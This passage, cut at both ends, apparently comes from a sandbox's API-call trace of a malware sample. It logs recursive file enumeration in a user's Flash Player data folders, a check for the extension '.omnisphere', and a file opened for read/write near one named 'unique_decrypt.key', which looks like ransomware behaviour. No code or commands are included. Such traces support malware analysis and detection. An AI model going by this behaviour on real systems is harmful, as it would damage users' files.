cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0081.450] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a5c8bf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11a5c8bf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11a5c8bf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0081.451] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0081.451] GetProcessHeap () returned 0x1600000 [0081.451] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164ba00 | out: hHeap=0x1600000) returned 1 [0081.451] GetProcessHeap () returned 0x1600000 [0081.451] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164a5f8 | out: hHeap=0x1600000) returned 1 [0081.451] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x58005c, dwReserved1=0x560043, cFileName="fpc.swf", cAlternateFileName="")) returned 0 [0081.451] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0081.451] GetProcessHeap () returned 0x1600000 [0081.451] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0081.451] GetProcessHeap () returned 0x1600000 [0081.451] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164bd88 | out: hHeap=0x1600000) returned 1 [0081.451] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560043, dwReserved1=0x440055, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 0 [0081.451] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0081.451] GetProcessHeap () returned 0x1600000 [0081.451] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0081.451] GetProcessHeap () returned 0x1600000 [0081.451] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16240d8 | out: hHeap=0x1600000) returned 1 [0081.451] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 0 [0081.451] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0081.452] GetProcessHeap () returned 0x1600000 [0081.452] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166a1b8 | out: hHeap=0x1600000) returned 1 [0081.452] GetProcessHeap () returned 0x1600000 [0081.452] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16317f8 | out: hHeap=0x1600000) returned 1 [0081.452] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0081.452] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0081.452] GetProcessHeap () returned 0x1600000 [0081.452] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e6e8 | out: hHeap=0x1600000) returned 1 [0081.452] GetProcessHeap () returned 0x1600000 [0081.452] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e250 | out: hHeap=0x1600000) returned 1 [0081.452] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0081.452] GetProcessHeap () returned 0x1600000 [0081.452] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x16566d0 [0081.452] PathCombineW (in: pszDest=0x16566d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", pszFile="macromedia.com" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0081.452] GetProcessHeap () returned 0x1600000 [0081.452] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656d60 [0081.452] PathCombineW (in: pszDest=0x1656d60, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0081.452] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0081.452] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName="..", cAlternateFileName="")) returned 1 [0081.453] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName="support", cAlternateFileName="")) returned 1 [0081.453] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName="support", cAlternateFileName="")) returned 0 [0081.453] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0081.453] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0081.453] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.453] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0081.453] GetProcessHeap () returned 0x1600000 [0081.453] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1630d30 [0081.453] PathCombineW (in: pszDest=0x1630d30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", pszFile="support" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0081.453] GetProcessHeap () returned 0x1600000 [0081.453] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1631460 [0081.453] PathCombineW (in: pszDest=0x1631460, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0081.453] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0081.454] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName="..", cAlternateFileName="")) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0081.454] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0081.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0081.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0081.454] GetProcessHeap () returned 0x1600000 [0081.454] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162c6c8 [0081.454] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", pszFile="flashplayer" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0081.454] GetProcessHeap () returned 0x1600000 [0081.454] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bdd8 [0081.454] PathCombineW (in: pszDest=0x162bdd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0081.454] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb6, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0081.455] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb6, cFileName="..", cAlternateFileName="")) returned 1 [0081.455] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb6, cFileName="sys", cAlternateFileName="")) returned 1 [0081.455] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb6, cFileName="sys", cAlternateFileName="")) returned 0 [0081.455] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0081.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0081.455] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="..", cAlternateFileName="")) returned 1 [0081.455] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="sys", cAlternateFileName="")) returned 1 [0081.455] GetProcessHeap () returned 0x1600000 [0081.455] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16240d8 [0081.455] PathCombineW (in: pszDest=0x16240d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", pszFile="sys" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0081.455] GetProcessHeap () returned 0x1600000 [0081.455] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x16241b0 [0081.455] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0081.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xaa, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0081.456] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xaa, cFileName="..", cAlternateFileName="")) returned 1 [0081.456] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xaa, cFileName="#aa.online-metrix.net", cAlternateFileName="#AAONL~1.NET")) returned 1 [0081.456] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0xaa, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0081.456] GetProcessHeap () returned 0x1600000 [0081.456] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x16302c0 [0081.456] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="settings.sol" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0081.456] StrStrW (lpFirst=".omnisphere", lpSrch=".sol") returned 0x0 [0081.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0081.457] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x3e0c8d8 | out: lpFileSize=0x3e0c8d8*=530) returned 1 [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.457] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 